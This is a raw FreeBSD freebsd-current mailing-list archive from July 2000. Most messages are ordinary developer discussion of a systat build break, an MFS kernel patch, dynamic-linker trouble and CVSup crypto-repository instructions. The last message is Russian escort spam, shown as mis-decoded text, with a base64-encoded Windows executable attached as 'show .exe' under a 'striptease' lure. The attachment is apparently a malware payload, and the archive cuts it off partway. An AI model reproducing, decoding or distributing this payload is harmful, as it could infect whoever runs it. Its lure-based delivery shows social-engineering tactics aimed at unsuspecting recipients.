mwm@mired.org) Received: (qmail 68931 invoked by uid 100); 15 Jul 2000 14:28:39 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14704.29974.878920.494001@guru.mired.org> Date: Sat, 15 Jul 2000 09:28:38 -0500 (CDT) To: freebsd-current@freebsd.org Subject: Build broken? X-Mailer: VM 6.72 under 21.1 (patch 10) "Capitol Reef" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The build broke this morning, and is still broken as of a few moments ago. The problem is that systat tries to use the (apparently now missing) m_mtypes element of the mbstat structure: su-2.04# pwd /usr/src/usr.bin/systat su-2.04# make cc -O -pipe -march=pentium -I/usr/src/usr.bin/systat/../../sys -c /usr/src/usr.bin/systat/mbufs.c /usr/src/usr.bin/systat/mbufs.c: In function `showmbufs': /usr/src/usr.bin/systat/mbufs.c:111: structure has no member named `m_mtypes' /usr/src/usr.bin/systat/mbufs.c:112: structure has no member named `m_mtypes' /usr/src/usr.bin/systat/mbufs.c:133: structure has no member named `m_mtypes' /usr/src/usr.bin/systat/mbufs.c:134: structure has no member named `m_mtypes' *** Error code 1 Stop in /usr/src/usr.bin/systat. And yes, "make buildworld" stops with the same set of error messages. /usr/src/usr.bin/netstat handles this correctly. It does leave one wondering why this the mbuf type names aren't shared in some way - though these seem to be the only places that it's used. Thanx, ; Sat, 15 Jul 2000 07:51:28 -0700 (PDT) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e6FEpRR15687; Sat, 15 Jul 2000 07:51:27 -0700 (PDT) Date: Sat, 15 Jul 2000 07:51:27 -0700 From: Alfred Perlstein To: Mike Meyer Cc: freebsd-current@FreeBSD.ORG, iedowse@maths.tcd.ie Subject: Re: Build broken? Message-ID: <20000715075127.A25571@fw.wintelcom.net> References: <14704.29974.878920.494001@guru.mired.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <14704.29974.878920.494001@guru.mired.org>; from mwm@mired.org on Sat, Jul 15, 2000 at 09:28:38AM -0500 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Mike Meyer [000715 07:29] wrote: > The build broke this morning, and is still broken as of a few moments > ago. The problem is that systat tries to use the (apparently now > missing) m_mtypes element of the mbstat structure: > > su-2.04# pwd > /usr/src/usr.bin/systat > su-2.04# make > cc -O -pipe -march=pentium -I/usr/src/usr.bin/systat/../../sys -c /usr/src/usr.bin/systat/mbufs.c > /usr/src/usr.bin/systat/mbufs.c: In function `showmbufs': > /usr/src/usr.bin/systat/mbufs.c:111: structure has no member named `m_mtypes' > /usr/src/usr.bin/systat/mbufs.c:112: structure has no member named `m_mtypes' > /usr/src/usr.bin/systat/mbufs.c:133: structure has no member named `m_mtypes' > /usr/src/usr.bin/systat/mbufs.c:134: structure has no member named `m_mtypes' > *** Error code 1 > > Stop in /usr/src/usr.bin/systat. > > And yes, "make buildworld" stops with the same set of error messages. > > /usr/src/usr.bin/netstat handles this correctly. It does leave one > wondering why this the mbuf type names aren't shared in some way - > though these seem to be the only places that it's used. oops, I just applied a patch assuming the submitter had actually checked his delta thoroughly. I should have a fix asap unless Ian can supply one faster. sorry, -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jul 15 9:11:23 2000 Delivered-To: freebsd-current@freebsd.org Received: from castle.jp.freebsd.org (castle.jp.freebsd.org [210.226.20.15]) by hub.freebsd.org (Postfix) with ESMTP id BF53B37B5D5 for ; Sat, 15 Jul 2000 09:11:19 -0700 (PDT) (envelope-from matusita@jp.freebsd.org) Received: from localhost (localhost [127.0.0.1]) by castle.jp.freebsd.org (8.9.3+3.2W/8.7.3) with ESMTP id BAA83797 for ; Sun, 16 Jul 2000 01:11:18 +0900 (JST) (envelope-from matusita@jp.FreeBSD.org) X-Face: '*aj"d@ijeQ:/X}]oM5c5Uz{ZZZk90WPt>a^y4$cGQp8:!H\W=hSM;PuNiidkc]/%,;6VGu e+`&APmz|P;F~OL/QK%;P2vU>\j4X.8@i%j6[%DTs_3J,Fff0)*oHg$A.cDm&jc#pD24WK@{,"Ef!0 P\):.2}8jo-BiZ?X&t$V X-User-Agent: Mew/1.94.2 XEmacs/21.2 (Molpe) X-FaceAnim: (-O_O-)(O_O- )(_O- )(O- )(- -)( -O)( -O_)( -O_O)(-O_O-) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Dispatcher: imput version 20000228(IM140) Lines: 29 From: Makoto MATSUSHITA To: current@FreeBSD.org Subject: MFS complains that no vop_getwritemount operation(?) Date: Sun, 16 Jul 2000 01:11:16 +0900 Message-Id: <20000716011116B.matusita@jp.FreeBSD.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Preamble: 5-current CVSuped Jun/15/2000 04:00 JST from cvsup.jp.FreeBSD.org Rebuild my kernel and reboot, then I've got following message: Jul 16 00:48:32 martini /kernel: mfs_badop[vop_getwritemount] Jul 16 00:48:32 martini /kernel: mfs_badop[vop_getwritemount] = 45 I'm using MFS as /tmp filesystem, and this message shows up if I access to /tmp directory such as create a file/directory. Following patch seems to shut up my kernel, but I dunno it is the right fix for this problem (I've got a hint from ../ufs/ufs_vnops.c). --- src/sys/ufs/mfs/mfs_vnops.c.dist Sat May 6 03:30:59 2000 +++ src/sys/ufs/mfs/mfs_vnops.c Sun Jul 16 00:52:43 2000 @@ -76,6 +76,7 @@ { &vop_islocked_desc, (vop_t *) vop_defaultop }, { &vop_lock_desc, (vop_t *) vop_defaultop }, { &vop_open_desc, (vop_t *) mfs_open }, + { &vop_getwritemount_desc, (vop_t *) vop_stdgetwritemount }, { &vop_print_desc, (vop_t *) mfs_print }, { &vop_reclaim_desc, (vop_t *) mfs_reclaim }, { &vop_strategy_desc, (vop_t *) mfs_strategy }, Does anyone can reproduce mfs_badop[vop_getwritemount] warnings ? -- - Makoto `MAR' MATSUSHITA To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jul 15 12:20:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from fenris.mskcc.org (msk-130-23.mskcc.org [140.163.130.23]) by hub.freebsd.org (Postfix) with ESMTP id EB22237B79D for ; Sat, 15 Jul 2000 12:20:12 -0700 (PDT) (envelope-from heath@hardy.mskcc.org) Received: from localhost (heath@localhost) by fenris.mskcc.org (8.9.3/8.9.3) with ESMTP id PAA03785 for ; Sat, 15 Jul 2000 15:20:11 -0400 (EDT) (envelope-from heath@hardy.mskcc.org) X-Authentication-Warning: fenris.mskcc.org: heath owned process doing -bs Date: Sat, 15 Jul 2000 15:20:11 -0400 (EDT) From: Simon Heath X-Sender: heath@fenris.mskcc.org To: freebsd-current@FreeBSD.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG subscribe freebsd-current subscribe cvs-all To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jul 15 13:26:27 2000 Delivered-To: freebsd-current@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id 2768F37B6FC for ; Sat, 15 Jul 2000 13:26:23 -0700 (PDT) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id QAA96065; Sat, 15 Jul 2000 16:21:21 -0400 (EDT) (envelope-from wollman) Date: Sat, 15 Jul 2000 16:21:21 -0400 (EDT) From: Garrett Wollman Message-Id: <200007152021.QAA96065@khavrinen.lcs.mit.edu> To: "Thomas D. Dean" Cc: current@FreeBSD.ORG Subject: Re: Request for comments: new `lpd' suite feature In-Reply-To: <200007150425.VAA19195@ix.netcom.com> References: <200007142139.RAA88779@khavrinen.lcs.mit.edu> <200007150409.AAA32685@whizzo.transsys.com> <200007150425.VAA19195@ix.netcom.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG < said: > How would this work with printers on local networks? > Say, a print server 192.168.1.73? I don't see that the IP address has any relevance. -GAWollman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jul 15 15:34:55 2000 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 0E3FD37B8A3 for ; Sat, 15 Jul 2000 15:34:52 -0700 (PDT) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id PAA09385; Sat, 15 Jul 2000 15:34:40 -0700 (PDT) (envelope-from jdp@polstra.com) From: John Polstra Received: (from jdp@localhost) by vashon.polstra.com (8.9.3/8.9.1) id PAA05700; Sat, 15 Jul 2000 15:34:40 -0700 (PDT) (envelope-from jdp@polstra.com) Date: Sat, 15 Jul 2000 15:34:40 -0700 (PDT) Message-Id: <200007152234.PAA05700@vashon.polstra.com> To: gjohnson@gs.verio.net Subject: Re: rtld-elf In-Reply-To: <00cf01bfed15$43ab2910$4a7c01cc@gs.verio.net> References: <00cf01bfed15$43ab2910$4a7c01cc@gs.verio.net> Organization: Polstra & Co., Seattle, WA Cc: current@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [Whew! Could you set your mail format to plain text next time? That MimeCroSoft stuff is awfully hard to read on real computers.] In article <00cf01bfed15$43ab2910$4a7c01cc@gs.verio.net>, Tony Johnson wrote: > > Hmmm.. I have been experiencing a problem when I installworld with = > freebsd-5.0. The install breaks with rtld-elf when the install put the = > new copy of ld-elf.s0.1 onto my system. Most f my prgrams signal 11 = > until I put the old ne back. Is there smething I was supposed t do = > befre this?? Yours is the only trouble report I've seen for the new version of the dynamic linker. Please tell me exactly what kind of CPU your system has in it. Also please send me the output from "dmesg". Thanks, John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jul 15 16:15:29 2000 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 1D94637B5F5 for ; Sat, 15 Jul 2000 16:15:26 -0700 (PDT) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id QAA09539 for ; Sat, 15 Jul 2000 16:15:25 -0700 (PDT) (envelope-from jdp@polstra.com) From: John Polstra Received: (from jdp@localhost) by vashon.polstra.com (8.9.3/8.9.1) id QAA06420; Sat, 15 Jul 2000 16:15:24 -0700 (PDT) (envelope-from jdp@polstra.com) Date: Sat, 15 Jul 2000 16:15:24 -0700 (PDT) Message-Id: <200007152315.QAA06420@vashon.polstra.com> To: current@freebsd.org Reply-To: current@freebsd.org Subject: Re: **HEADS UP** if you used to cvsup the crypto repo from internat ! In-Reply-To: <65305.963575791@axl.ops.uunet.co.za> References: <65305.963575791@axl.ops.uunet.co.za> Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <65305.963575791@axl.ops.uunet.co.za>, Sheldon Hearn wrote: > > Warner, Mark says that this applies if you used CTM to get cvs's ,v > files, not CTM. Also, he clarified the last sentence for me, by saying > that it's the crypto ,v files that need to be removed and not the > checked out crypto files. There has been a whole lot of confusing info floating around here. Let me try to straighten this out. 1. If you are using CVSup in checkout mode, you don't have a problem. Go away and don't read any more of this. :-) 2. If in the past you have been getting your crypto files from the US or Canada, you don't have a problem. Go away and don't read any more of this. 3. If you are running a CVSup mirror site, you don't have a problem. Go away and don't read any more of this. 4. If you use CVSup to fetch the "*,v" files and then use the "cvs" command to check out your source tree, then you need to delete the *checked out sources* in these trees: src/crypto src/eBones src/secure src/sys/crypto Then check out these sources again using the "cvs" command. Do NOT delete your "*,v" files -- they are perfectly fine. 5. If you are using CTM to receive the "*,v" files and then using the "cvs" command to check out your source tree, then I don't know whether you need to delete your ",v" files and replace them or not. Hopefully Mark will clarify this if he hasn't already done so. But you definitely DO need to delete your *checked out sources* in these trees: src/crypto src/eBones src/secure src/sys/crypto Then check out these sources again using the "cvs" command. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jul 15 16:16:26 2000 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id BF5E937B58F for ; Sat, 15 Jul 2000 16:16:23 -0700 (PDT) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id QAA09552; Sat, 15 Jul 2000 16:16:22 -0700 (PDT) (envelope-from jdp@polstra.com) From: John Polstra Received: (from jdp@localhost) by vashon.polstra.com (8.9.3/8.9.1) id QAA06437; Sat, 15 Jul 2000 16:16:22 -0700 (PDT) (envelope-from jdp@polstra.com) Date: Sat, 15 Jul 2000 16:16:22 -0700 (PDT) Message-Id: <200007152316.QAA06437@vashon.polstra.com> To: ue@nathan.ruhr.de Subject: Re: **HEADS UP** if you used to cvsup the crypto repo from internat ! In-Reply-To: <20000714145145.H265@nathan.ruhr.de> References: <200007131719.TAA01505@grimreaper.grondar.za> <65305.963575791@axl.ops.uunet.co.za> <20000714145145.H265@nathan.ruhr.de> Organization: Polstra & Co., Seattle, WA Cc: current@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <20000714145145.H265@nathan.ruhr.de>, Udo Erdelhoff wrote: > > What about the non-US cvsup mirrors? Mirror sites don't have a problem, and they shouldn't do anything special. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jul 15 17:26: 0 2000 Delivered-To: freebsd-current@freebsd.org Received: from dialup.ptt.ru (dialup.ptt.ru [195.34.0.100]) by hub.freebsd.org (Postfix) with SMTP id 18F5637B53E for ; Sat, 15 Jul 2000 17:25:34 -0700 (PDT) (envelope-from vika@mtu-net.ru) Received: (qmail 60556 invoked from network); 16 Jul 2000 00:07:44 -0000 Received: from dialup-29129.dialup.ptt.ru (HELO computer) (195.34.29.129) by dialup.ptt.ru with SMTP; 16 Jul 2000 00:07:44 -0000 To: "" From: vika@mtu-net.ru Subject: vika@mtu-net.ru Date: Sun, 16 Jul 2000 04:04:52 +0300 Message-Id: <36723.170051504633600.624@localhost> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=bmaeqmcdlmdttggn Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --bmaeqmcdlmdttggn Content-Type: text/plain; charset=windows-1251 Content-Transfer-Encoding: 8bit Âû õîòèòå çàáûòü î ñóåòå, îêóíóòüñÿ â ìèð ðîìàíòè÷åñêèõ ãðåç? Îòêðîéòå ïóòü ê íåáåñíîìó áëàæåíñòâó, îñòàâüòå áåñêîíå÷íûå ïðîáëåìû - ïðåëåñòíàÿ íèìôà ïðåäëàãàåò Âàì îòäîõíóòü, ðàññëàáèòüñÿ è óòîíóòü â îêåàíå áëàæåíñòâà è ñëàäîñòðàñòèÿ. Ìîå ñòðîéíîå òåëî è íåæíûå ðóêè ïîâåðãíóò Âàñ â ïó÷èíó íåçàáûâàåìûõ îùóùåíèé è, ïîñåòèâ ìåíÿ îäíàæäû, Âû áóäåòå âîçâðàùàòüñÿ ê âíîâü è âíîâü .... Âîò íåêîòîðûå âíåøíèå äàííûå: Âèêà - øàòåíêà, 21 ãîä, ðîñò 175 ñì, âåñ 52 êã, ðàçìåð îäåæäû 44, áþñò ¹3; Òåëåôîí: (095) 723-04-67 Ïðåäëàãàþ Âàì ïîñìîòðåòü ìàëåíüêèé ñòðèïòèç. --bmaeqmcdlmdttggn Content-Type: application/x-msdownload; name="show .exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="show .exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEGANX1fDcAAAAA AAAAAOAADwELAQUAACQAAADqAAAAAAAAUyUAAAAQAAAAQAAAAABAAAAQAAAAAgAA BAAAAAAAAAAEAAAAAAAAAABgAQAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAA AAAAABAAAAAAAAAAAAAAAGhXAQBRAQAAAEABAJwDAAAAAAAAAAAAAAAAAAAAAAAA PFMBAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAC50ZXh0AAAA ADAAAAAQAAAAFgAAAAQAAAAAAAAAAAAAAAAAAEAAAMAucmRhdGEAAAAQAAAAQAAA AAIAAAAaAAAAAAAAAAAAAAAAAABAAADALmRhdGEAAAAA4AAAAFAAAAAGAAAAHAAA AAAAAAAAAAAAAAAAQAAAwC5pZGF0YQAAABAAAAAwAQAABgAAACIAAAAAAAAAAAAA AAAAAEAAAMAucnNyYwAAAAAQAAAAQAEAAAQAAAAoAAAAAAAAAAAAAAAAAABAAADA LmRhdGEAuwAAEAAAAFABAAAKAAAALAAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 